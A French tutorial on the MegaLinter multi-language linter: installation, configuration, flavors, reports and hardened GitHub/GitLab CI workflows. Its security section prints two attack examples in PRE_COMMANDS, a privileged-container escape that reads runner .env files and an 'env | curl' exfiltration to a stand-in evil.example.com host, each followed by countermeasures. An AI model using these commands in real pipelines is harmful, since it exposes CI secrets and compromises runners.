MegaLinter : linting multi-langages en une commande

MegaLinter analyse 100+ langages et formats de fichiers avec un seul outil. Ce guide vous montre comment l’installer via npm, le configurer avec .mega-linter.yml, activer les corrections automatiques et sécuriser vos pipelines CI/CD. Vous apprendrez aussi à identifier les risques documentés dans le référentiel LOTP (Living Off The Pipeline), la base de connaissances qui catalogue les fonctionnalités légitimes d’outils de pipeline exploitables à des fins malveillantes — notamment les PRE_COMMANDS/POST_COMMANDS qui permettent l’exécution de code arbitraire en tant que root.

Qu’est-ce que MegaLinter ?

MegaLinter est un agrégateur de linters open source maintenu par OX Security. Pensez-y comme un chef d’orchestre qui coordonne plus de 100 linters pour analyser votre code, vos fichiers de configuration, vos Dockerfiles et vos scripts en une seule commande.

Avant vs après MegaLinter

Sans MegaLinter	Avec MegaLinter
Installer et configurer chaque linter manuellement	Un seul fichier `.mega-linter.yml`
Maintenir les versions de 10+ outils	MegaLinter embarque tout dans un conteneur
Scripts CI/CD différents par langage	Une seule étape dans le pipeline
Pas de vue d’ensemble de la qualité	Rapports consolidés (HTML, JSON, SARIF)
Corrections manuelles fichier par fichier	`APPLY_FIXES: all` corrige automatiquement

Ce que MegaLinter couvre

MegaLinter v9.4.0 intègre des linters pour :

Catégorie	Exemples	Nombre
Langages	Python (ruff, bandit, pylint, black), JavaScript (eslint, prettier), Go, Rust, Java, C#, PHP, Ruby, Kotlin, Swift, Dart…	30+ langages
Formats	YAML (yamllint), JSON (jsonlint, v8r), Markdown, HTML, CSS, XML, LaTeX, Protobuf	15+ formats
Tooling	Dockerfile (hadolint), Terraform (tflint, terrascan), Ansible, Kubernetes (kubeconform, kubescape), GitHub Actions (actionlint)	20+ outils
Sécurité	Bandit, Semgrep, Checkov, Gitleaks, Trivy, Grype, TruffleHog, DevSkim, KICS	10+ scanners
Autres	Copie de code (jscpd), orthographe (cspell, vale, codespell), liens (lychee)	10+

Prérequis

Avant de commencer, vérifiez que vous disposez de :

Node.js 18+ : pour le runner npm mega-linter-runner
Docker ou Podman : MegaLinter exécute les linters dans un conteneur
Un dépôt Git initialisé : MegaLinter utilise Git pour filtrer les fichiers

Vérifiez votre environnement :

node --version   # v18+ requis
docker --version # ou podman --version
git --version

Installation

Avec npm (recommandé)

Le package mega-linter-runner est un wrapper npm qui gère le conteneur automatiquement :

npm install mega-linter-runner

Vérification :

npx mega-linter-runner --help

Vous devriez voir les options disponibles comme --flavor, --fix, --env, etc.

Installation assistée

Si vous découvrez MegaLinter, la commande --install est le meilleur point de départ. Elle vous pose une série de questions (quel CI utilisez-vous ? quels langages ? voulez-vous les corrections automatiques ?) et génère la configuration adaptée :

npx mega-linter-runner --install

Concrètement, cette commande crée :

Un fichier .mega-linter.yml pré-rempli avec les descripteurs adaptés à votre projet
Un workflow CI/CD (GitHub Actions ou GitLab CI selon votre choix) prêt à l’emploi
Les fichiers de configuration des linters individuels si nécessaire (.eslintrc, .pylintrc, etc.)

C’est la méthode recommandée pour un premier déploiement : vous obtenez une configuration fonctionnelle en moins d’une minute, que vous affinerez ensuite.

Mise à jour vers v9

Si vous utilisez déjà MegaLinter v7 ou v8, la migration vers v9 nécessite quelques ajustements (noms de variables renommés, images Docker sur ghcr.io au lieu de Docker Hub, nouveaux reporters). Plutôt que de tout faire à la main, utilisez la commande de migration automatique :

npx mega-linter-runner --upgrade

Cette commande analyse votre configuration existante et applique les changements nécessaires : mise à jour des tags d’images, renommage des variables dépréciées et ajout des nouvelles options v9. Vérifiez le diff avec git diff après exécution pour comprendre ce qui a changé.

Configuration

Le fichier .mega-linter.yml

Créez un fichier .mega-linter.yml à la racine de votre projet. C’est le point central de toute la configuration :

---
# Configuration MegaLinter
# Documentation : https://megalinter.io/latest/config-variables/

# Corrections automatiques : none, all, ou liste de linters
APPLY_FIXES: none

# Activer uniquement certains descripteurs
ENABLE:
  - BASH
  - DOCKERFILE
  - JAVASCRIPT
  - JSON
  - PYTHON
  - YAML

# Désactiver des descripteurs spécifiques
# DISABLE:
#   - COPYPASTE
#   - SPELL

# Exclure des fichiers/dossiers par regex
FILTER_REGEX_EXCLUDE: (node_modules/|\.git/|vendor/)

# Exécution parallèle (activée par défaut)
PARALLEL: true

# Afficher le temps d'exécution par linter
SHOW_ELAPSED_TIME: true

# Désactiver l'envoi de rapports à File.io
FILEIO_REPORTER: false

Variables de configuration principales

Variable	Valeur par défaut	Description
`APPLY_FIXES`	`none`	Corrige automatiquement (`all`, `none`, ou liste de linters)
`ENABLE`	tous	Liste des descripteurs activés
`DISABLE`	aucun	Liste des descripteurs désactivés
`ENABLE_LINTERS`	tous	Active des linters spécifiques (ex: `PYTHON_RUFF`)
`DISABLE_LINTERS`	aucun	Désactive des linters spécifiques
`FILTER_REGEX_EXCLUDE`	aucun	Regex d’exclusion de fichiers
`FILTER_REGEX_INCLUDE`	tout	Regex d’inclusion de fichiers
`VALIDATE_ALL_CODEBASE`	`true`	`false` = uniquement les fichiers modifiés
`PARALLEL`	`true`	Exécution parallèle des linters
`LOG_LEVEL`	`INFO`	Verbosité : `DEBUG`, `INFO`, `WARNING`, `ERROR`
`SHOW_ELAPSED_TIME`	`false`	Affiche le temps par linter
`EXTENDS`	aucun	URL(s) de config parente(s) à hériter
`MEGALINTER_CONFIG`	`.mega-linter.yml`	Nom ou URL du fichier de config

Configuration par linter

Chaque linter peut être configuré individuellement grâce à un système de nommage par préfixe : <DESCRIPTEUR>_<LINTER>_<OPTION>. Ce pattern est important à comprendre car c’est ainsi que vous affinerez le comportement de chaque outil.

Prenons l’exemple de ruff (linter Python rapide). Son descripteur est PYTHON et son nom est RUFF, donc toutes ses variables commencent par PYTHON_RUFF_ :

# Passer des arguments CLI au linter
PYTHON_RUFF_ARGUMENTS: ["--select", "E,W,F,I"]

# N'analyser que les fichiers dans src/
PYTHON_RUFF_FILTER_REGEX_INCLUDE: "src/"

# Ne pas bloquer le pipeline en cas d'erreur (mode avertissement)
PYTHON_RUFF_DISABLE_ERRORS: true

# Utiliser un fichier de configuration spécifique
PYTHON_RUFF_CONFIG_FILE: "pyproject.toml"

Ce pattern fonctionne pour tous les linters. Par exemple :

YAML_YAMLLINT_ARGUMENTS pour configurer yamllint
DOCKERFILE_HADOLINT_DISABLE_ERRORS pour ne pas bloquer sur les erreurs hadolint
JAVASCRIPT_ES_FILTER_REGEX_EXCLUDE pour exclure des fichiers de ESLint

Héritage de configuration avec EXTENDS

Dans une organisation avec plusieurs dépôts, maintenir une configuration MegaLinter identique dans chaque projet devient vite pénible. La variable EXTENDS résout ce problème en permettant d’hériter d’une configuration de base stockée à un emplacement central.

Le principe est simple : vous définissez les règles communes dans un fichier partagé, et chaque projet le référence puis ajoute ses propres surcharges :

# .mega-linter.yml de votre projet
EXTENDS:
  - https://raw.githubusercontent.com/mon-org/config/main/.mega-linter-base.yml

# Surcharges locales : désactiver la vérification orthographique
# qui n'est pas pertinente pour ce projet
DISABLE:
  - SPELL

Le fichier distant (ici .mega-linter-base.yml) contient la configuration de l’organisation : linters activés, règles d’exclusion, options de rapports, etc. Chaque projet hérite de ces règles et peut les surcharger localement.

MegaLinter v9 fournit un JSON Schema pour l’autocomplétion dans votre éditeur. Ajoutez en haut de .mega-linter.yml :

# yaml-language-server: $schema=https://megalinter.io/latest/schema.json

Utilisation locale

Exécution de base

Depuis la racine de votre projet :

npx mega-linter-runner

MegaLinter détecte automatiquement les langages présents et lance les linters correspondants. Résultat typique :

+----SUMMARY-+---------+-------+-------+--------+----------+--------------+
| Descriptor | Linter  | Files | Fixed | Errors | Warnings | Elapsed time |
+------------+---------+-------+-------+--------+----------+--------------+
| ✅ PYTHON  | pylint  |     5 |       |      0 |        0 | 1.39s        |
| ❌ PYTHON  | bandit  |     5 |       |      3 |        0 | 1.0s         |
| ✅ PYTHON  | mypy    |     5 |       |      0 |        0 | 1.4s         |
| ❌ YAML    | yamllint|     8 |       |      2 |        0 | 0.46s        |
+------------+---------+-------+-------+--------+----------+--------------+

Options en ligne de commande

Option	Description
`--flavor <nom>`	Utilise un flavor spécifique (image plus légère)
`--fix`	Active les corrections automatiques
`-e "<VAR>=<val>"`	Passe une variable d’environnement
`-p <chemin>`	Spécifie le répertoire à analyser
`--debug`	Affiche les logs de débogage
`-n`	Ne pas tirer l’image Docker avant exécution
`--container-engine podman`	Utilise Podman au lieu de Docker
`-j`	Sortie JSON

Exemples :

# Analyser uniquement Python avec le flavor dédié
npx mega-linter-runner --flavor python -e "ENABLE=PYTHON"

# Corriger automatiquement le code
npx mega-linter-runner --fix

# Analyser un sous-répertoire
npx mega-linter-runner -p src/

# Utiliser Podman au lieu de Docker
npx mega-linter-runner --container-engine podman

Corrections automatiques avec APPLY_FIXES

Activez les corrections dans .mega-linter.yml :

APPLY_FIXES: all  # Corrige tout ce qui peut l'être
# ou sélectivement :
# APPLY_FIXES:
#   - PYTHON_BLACK
#   - PYTHON_ISORT
#   - PYTHON_RUFF
#   - YAML_PRETTIER

Ou directement en ligne de commande :

npx mega-linter-runner --fix

Exemple de résultat — MegaLinter corrige le formatage Python (black), réorganise les imports (isort), et applique les auto-fixes ruff :

+----SUMMARY-+---------+-------+-------+--------+----------+--------------+
| Descriptor | Linter  | Files | Fixed | Errors | Warnings | Elapsed time |
+------------+---------+-------+-------+--------+----------+--------------+
| ✅ PYTHON  | black   |     1 |     1 |      0 |        0 | 0.41s        |
| ✅ PYTHON  | isort   |     1 |     1 |      0 |        0 | 0.10s        |
| ❌ PYTHON  | ruff    |     1 |     1 |      2 |        0 | 0.07s        |
+------------+---------+-------+-------+--------+----------+--------------+

Les fichiers corrigés sont disponibles dans megalinter-reports/updated_sources/.

Flavors : choisir la bonne image

L’image par défaut de MegaLinter (all) embarque tous les linters : elle pèse environ 2 Go et prend du temps à télécharger. Si votre projet est purement Python, télécharger aussi les linters Java, C#, Go et Rust n’a aucun sens.

C’est là qu’interviennent les flavors : des images pré-construites contenant uniquement les linters utiles pour un type de projet. Le gain est immédiat : téléchargement plus rapide, exécution plus rapide, moins de ressources consommées.

Quel flavor choisir ?

Le choix dépend du langage principal de votre projet :

Flavor	Pour quel projet ?	Taille	Ce qu’il contient
`python`	Application ou lib Python	~700 Mo	ruff, bandit, black, pylint, mypy, isort, flake8 + YAML/JSON/Bash
`javascript`	Front-end, Node.js, React, Vue	~800 Mo	eslint, prettier, stylelint + HTML/CSS/JSON
`terraform`	Infrastructure as Code	~600 Mo	tflint, terrascan, checkov + YAML/JSON/Bash
`security`	Audit sécurité multi-langages	~900 Mo	bandit, gitleaks, trivy, semgrep, checkov, grype
`ci_light`	Pipeline ou config uniquement	~500 Mo	yamllint, hadolint, shellcheck, jsonlint, prettier
`documentation`	Site ou docs	~400 Mo	markdownlint, vale, cspell + YAML/JSON
`go`	Application Go	~600 Mo	golangci-lint, revive + YAML/JSON
`java`	Application Java/Kotlin	~800 Mo	checkstyle, pmd, spotbugs + Groovy/YAML
`dotnet`	Application C#/VB.NET	~700 Mo	dotnet-format, csharpier
`rust`	Application Rust	~600 Mo	clippy, rustfmt + YAML
`cupcake`	Multi-langages (sélection populaire)	~1 Go	Sélection des linters les plus utilisés
`all`	Tout couvrir (défaut)	~2 Go	100+ linters

En pratique, commencez par le flavor correspondant à votre langage principal. Si vous avez un projet Python avec des Dockerfiles, le flavor python suffit car il inclut aussi hadolint (Dockerfile) et shellcheck (Bash).

# Utiliser le flavor Python
npx mega-linter-runner --flavor python

# Utiliser le flavor security pour un audit
npx mega-linter-runner --flavor security

Custom Flavors (v9) : créer votre propre image

Depuis la v9, vous pouvez aller plus loin que les flavors prédéfinis en créant une image contenant exactement les linters dont vous avez besoin. C’est particulièrement utile dans deux cas :

Performance : votre pipeline CI prend trop de temps parce que le flavor standard inclut des linters inutiles pour vous
Contrôle : vous voulez figer les versions exactes des linters utilisés pour la reproductibilité

La commande --custom-flavor-setup génère un Dockerfile et un workflow GitHub Actions pour construire et publier votre flavor :

npx mega-linter-runner --custom-flavor-setup \
  --custom-flavor-linters PYTHON_RUFF,PYTHON_BANDIT,YAML_YAMLLINT,DOCKERFILE_HADOLINT

Résultat : une image de quelques centaines de Mo au lieu de 2 Go, avec un temps d’exécution divisé par 3 ou 4 selon les cas.

Rapports

MegaLinter génère plusieurs types de rapports dans le dossier megalinter-reports/ :

Reporter	Fichier / Emplacement	Description
Console	Sortie standard	Tableau récapitulatif en direct
Text	`megalinter-reports/megalinter.log`	Log complet de l’exécution
Linter logs	`megalinter-reports/linters_logs/`	Un fichier par linter
IDE Config	`megalinter-reports/IDE-config/`	Fichiers de config pour votre IDE
Updated Sources	`megalinter-reports/updated_sources/`	Fichiers corrigés par APPLY_FIXES
SARIF	`megalinter-reports/sarif/`	Format standard pour GitHub Code Scanning
JSON	`megalinter-reports/megalinter.json`	Résultats structurés
Markdown Summary	`$GITHUB_STEP_SUMMARY`	Résumé dans GitHub Actions (v9)
GitHub PR Comment	Commentaire PR	Résumé des erreurs dans la PR
GitLab MR Comment	Commentaire MR	Idem pour GitLab

Pour activer/désactiver un reporter :

# Dans .mega-linter.yml
SARIF_REPORTER: true
GITHUB_COMMENT_REPORTER: true
JSON_REPORTER: true
FILEIO_REPORTER: false  # Ne pas envoyer à File.io

LLM Advisor (v9)

Connectez un LLM pour obtenir des suggestions de correction dans les rapports :

LLM_PROVIDER: openai
LLM_MODEL: gpt-4o-mini
LLM_API_KEY: ${OPENAI_API_KEY}

Providers supportés : OpenAI, Anthropic, DeepSeek, MistralAI, Google GenAI, Ollama (local), Hugging Face.

PRE_COMMANDS et POST_COMMANDS

MegaLinter permet d’exécuter des commandes personnalisées avant et après les linters via PRE_COMMANDS et POST_COMMANDS dans .mega-linter.yml :

PRE_COMMANDS:
  - command: npm install eslint-plugin-security
    cwd: root            # root = racine du conteneur
    secured_env: true    # masque les variables sensibles
    run_before_linters: true  # exécuté avant les linters (pas en parallèle)
  - command: pip install flake8-cognitive-complexity
    cwd: root
    venv: flake8         # dans le virtualenv du linter flake8

POST_COMMANDS:
  - command: echo "Linting terminé"
    cwd: workspace       # workspace = racine du dépôt
    continue_if_failed: false  # stoppe si la commande échoue

Options disponibles

Option	Valeur par défaut	Description
`command`	(obligatoire)	Commande shell à exécuter
`cwd`	`workspace`	`workspace` (dépôt) ou `root` (conteneur)
`secured_env`	`true`	Masque les variables sensibles
`continue_if_failed`	`true`	Continue même si la commande échoue
`run_before_linters`	`false`	Exécute avant les linters (pas en parallèle)
`run_after_linters`	`false`	Exécute après tous les linters
`venv`	aucun	Virtualenv Python du linter cible
`output_variables`	`[]`	Variables à capturer pour les commandes suivantes

Sécurité : MegaLinter dans le référentiel LOTP

MegaLinter est un outil puissant, mais son modèle d’exécution (conteneur avec accès root et Docker socket) en fait un outil référencé dans le référentiel LOTP (Living Off The Pipeline) — la base de connaissances qui catalogue les fonctionnalités légitimes d’outils de pipeline exploitables à des fins malveillantes. Voici les risques identifiés et les contre-mesures.

Risque 1 : Docker socket monté = container escape

Quand MegaLinter s’exécute en CI/CD, le conteneur a accès au Docker socket (/var/run/docker.sock). Un attaquant contrôlant .mega-linter.yml peut s’échapper du conteneur et accéder au système hôte :

# Attaque : container escape via Docker socket
PRE_COMMANDS:
  - command: |
      docker run --privileged alpine:latest \
        sh -c 'mount /dev/sda1 /mnt; cat /mnt/home/runner/work/*/*/.env'
    cwd: root

Sur un runner GitHub Actions hébergé, /dev/sda1 est le filesystem racine. Le mode --privileged permet de le monter librement et de lire tous les fichiers du runner, y compris les secrets stockés sur disque.

Risque 2 : secured_env à false expose les secrets

Par défaut, MegaLinter masque les variables sensibles (tokens, mots de passe) avant d’exécuter les PRE_COMMANDS/POST_COMMANDS. La variable secured_env: false désactive cette protection :

# DANGEREUX : expose TOUTES les variables d'environnement
PRE_COMMANDS:
  - command: env | curl -X POST https://evil.example.com/collect -d @-
    secured_env: false  # ne JAMAIS faire cela

MegaLinter signale d’ailleurs cette sanitisation dans les logs avec la mention HIDDEN_BY_MEGALINTER quand une valeur sensible est détectée.

Risque 3 : EXTENDS depuis une source non fiable

La variable EXTENDS permet de charger une configuration depuis une URL externe. Un attaquant contrôlant cette URL peut injecter des PRE_COMMANDS malveillantes :

# Si l'URL est compromise, l'attaquant contrôle vos PRE_COMMANDS
EXTENDS: https://raw.githubusercontent.com/org-compromise/config/main/.mega-linter.yml

Contre-mesures

Utilisez SECURED_ENV_VARIABLES pour masquer des variables supplémentaires. MegaLinter masque déjà les variables CI standards, mais ajoutez les vôtres :
```
SECURED_ENV_VARIABLES:
  - MY_API_KEY
  - DATABASE_PASSWORD
  - CLOUD_CREDENTIALS
```
Ne désactivez jamais secured_env dans les PRE/POST_COMMANDS. Gardez toujours secured_env: true (valeur par défaut).
Protégez .mega-linter.yml avec CODEOWNERS pour qu’une revue soit obligatoire avant toute modification :
```
# .github/CODEOWNERS
.mega-linter.yml @security-team
```
Ne lancez pas MegaLinter automatiquement sur les PRs de forks. Utilisez pull_request_target avec précaution ou exigez une approbation manuelle.
Évitez EXTENDS depuis des URLs non contrôlées. Préférez des configs dans votre propre organisation GitHub avec accès restreint.
Gardez SKIP_LINTER_OUTPUT_SANITIZATION: false (défaut). Cette variable contrôle la sanitisation des sorties via les règles Gitleaks. Ne la passez à true que sur un dépôt privé et sécurisé.

Intégration CI/CD

GitHub Actions (durci)

Voici un workflow GitHub Actions sécurisé avec les bonnes pratiques : actions pinnées par SHA, permissions minimales, et persist-credentials: false.

---
name: MegaLinter

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# Permissions minimales au niveau workflow
permissions: {}

jobs:
  megalinter:
    name: MegaLinter
    runs-on: ubuntu-24.04
    # Ne pas exécuter sur les PRs de forks (risque documenté par LOTP)
    if: >-
      github.event_name == 'push' ||
      github.event.pull_request.head.repo.full_name == github.repository
    permissions:
      contents: read        # Lire le code
      issues: write         # Commenter les issues (optionnel)
      pull-requests: write  # Commenter les PRs
    steps:
      - name: Checkout
        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
        with:
          persist-credentials: false

      - name: MegaLinter
        uses: oxsecurity/megalinter@8fbdead70d1409964ab3d5afa885e18ee85388bb # v9.4.0
        env:
          VALIDATE_ALL_CODEBASE: true
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          # Personnalisez selon votre projet :
          # ENABLE: PYTHON,BASH,YAML,DOCKERFILE
          # APPLY_FIXES: none
          # FILTER_REGEX_EXCLUDE: (tests/|docs/)

      - name: Upload rapports
        if: always()
        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
        with:
          name: megalinter-reports
          path: |
            megalinter-reports/
          retention-days: 7

Points de sécurité :

permissions: {} au niveau workflow, permissions minimales par job
persist-credentials: false empêche le token de fuiter
Actions pinnées par SHA — pas de tag mutable
Condition if pour bloquer l’exécution sur les PRs de forks
GITHUB_TOKEN via secrets (pas en clair)

GitLab CI (durci)

---
stages:
  - lint

megalinter:
  stage: lint
  # Utiliser ghcr.io (plus fiable que Docker Hub)
  image:
    name: ghcr.io/oxsecurity/megalinter:v9.4.0
    entrypoint: [""]
  script:
    - mega-linter-runner
  variables:
    DEFAULT_WORKSPACE: $CI_PROJECT_DIR
    # Personnalisez :
    # ENABLE: "PYTHON,BASH,YAML"
  artifacts:
    when: always
    paths:
      - megalinter-reports/
    expire_in: 7 days
  rules:
    # Ne pas exécuter sur les MR de forks (sécurité)
    - if: '$CI_MERGE_REQUEST_SOURCE_PROJECT_PATH == $CI_PROJECT_PATH'
    - if: '$CI_PIPELINE_SOURCE == "push"'

Dépannage

Voici les problèmes les plus fréquents rencontrés avec MegaLinter et comment les résoudre.

Docker introuvable

Error: Docker not found

MegaLinter s’exécute dans un conteneur Docker (ou Podman). Si le moteur de conteneur n’est pas installé, lancez docker --version pour vérifier. Si vous utilisez Podman, passez l’option --container-engine podman.

Linter absent dans un flavor

Vous avez choisi un flavor léger (ci_light, python…) mais un linter attendu n’apparaît pas dans les résultats. C’est normal : chaque flavor embarque uniquement un sous-ensemble de linters. Deux solutions :

Basculez vers le flavor all pour tout couvrir
Créez un Custom Flavor (v9) incluant précisément les linters souhaités

`HIDDEN_BY_MEGALINTER` dans les logs

Si une variable d’environnement apparaît comme HIDDEN_BY_MEGALINTER dans la sortie, c’est le comportement normal de sanitisation : MegaLinter masque automatiquement les variables contenant TOKEN, PASSWORD, SECRET, etc. pour éviter de les exposer dans les logs. C’est un mécanisme de sécurité, pas un bug.

Exécution très lente

L’image all pèse ~2 Go et embarque plus de 100 linters. Si l’exécution prend trop de temps :

Utilisez un flavor adapté à votre langage principal
Limitez les descripteurs avec ENABLE ou ENABLE_LINTERS
Créez un Custom Flavor avec uniquement les linters utiles
Activez le cache Docker en CI pour éviter de retirer l’image à chaque run

Corrections non appliquées

Si APPLY_FIXES est configuré mais les fichiers ne sont pas modifiés, vérifiez la valeur dans .mega-linter.yml : elle doit être all ou une liste explicite de linters. La valeur none (défaut) désactive les corrections.

Rate limit Docker Hub

Docker Hub impose des limites de téléchargement pour les utilisateurs non authentifiés. Depuis la v9, MegaLinter utilise par défaut ghcr.io (GitHub Container Registry) qui n’a pas ces limitations. Si vous voyez des erreurs 429 Too Many Requests, vérifiez que vous utilisez bien ghcr.io/oxsecurity/megalinter et non l’ancien préfixe Docker Hub.

À retenir

MegaLinter analyse 100+ langages avec un seul fichier .mega-linter.yml — plus besoin de configurer chaque linter séparément.
Utilisez les flavors pour réduire le temps d’exécution : python, security, ci_light, ou créez un Custom Flavor (v9).
APPLY_FIXES: all corrige automatiquement le formatage, les imports et les erreurs simples — vérifiez le diff avant de committer.
Les PRE_COMMANDS/POST_COMMANDS représentent le principal risque documenté par LOTP pour MegaLinter : elles s’exécutent en tant que root avec accès au Docker socket.
Ne jamais passer secured_env: false — cela expose tous les secrets CI/CD aux commandes pré/post.
En CI/CD, pinnez les actions par SHA, ajoutez permissions: {} au workflow, et bloquez l’exécution automatique sur les PRs de forks.
Protégez .mega-linter.yml via CODEOWNERS et auditez les EXTENDS vers des URLs externes.

Prochaines étapes

Référentiel LOTP Catalogue des fonctionnalités d'outils de pipeline exploitables

Hadolint : linter Dockerfile Appliquer les bonnes pratiques Dockerfile avec Hadolint

Sécuriser vos pipelines CI/CD Durcir GitHub Actions et GitLab CI pour sécuriser la supply chain

Gitleaks : détecter les secrets Scanner le code source et l'historique Git pour trouver les secrets exposés

Pinner les actions par SHA Pourquoi et comment épingler les GitHub Actions par commit SHA

Pre-commit : qualité locale Valider le code avant chaque commit avec des hooks Git